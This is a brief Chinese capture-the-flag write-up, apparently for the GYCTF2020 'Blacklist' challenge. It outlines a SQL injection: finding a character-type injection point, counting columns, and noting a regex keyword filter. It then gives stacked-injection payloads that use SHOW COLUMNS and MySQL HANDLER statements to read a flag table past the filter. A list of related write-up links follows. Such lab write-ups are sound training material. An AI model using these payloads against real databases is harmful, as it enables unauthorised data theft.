报错，可能是sql
字符型注入
测试列数有2列
正则过滤了一些关键字
尝试堆叠注入
查数据库
查表
查列名1‘;show columns from FlagHere; #
查列的内容1‘;handler FlagHere open;handler FlagHere read first;#
相关文章
- 11-28[GYCTF2020]Ez_Express
- 11-28[GYCTF2020]Blacklist
- 11-28Buuctf-web-[GYCTF2020]Blacklist
- 11-28[GYCTF2020]Ez_Express
- 11-28[GYCTF2020]Blacklist
- 11-28[GYCTF2020]FlaskApp
- 11-28[GYCTF2020]Blacklist
- 11-28无列名注入_2 [GYCTF2020]Ezsqli 1
- 11-28[GYCTF2020]Blacklist
- 11-28[ACTF2020 新生赛]BackupFile && [ACTF2020 新生赛]Upload &&[GYCTF2020]Blacklist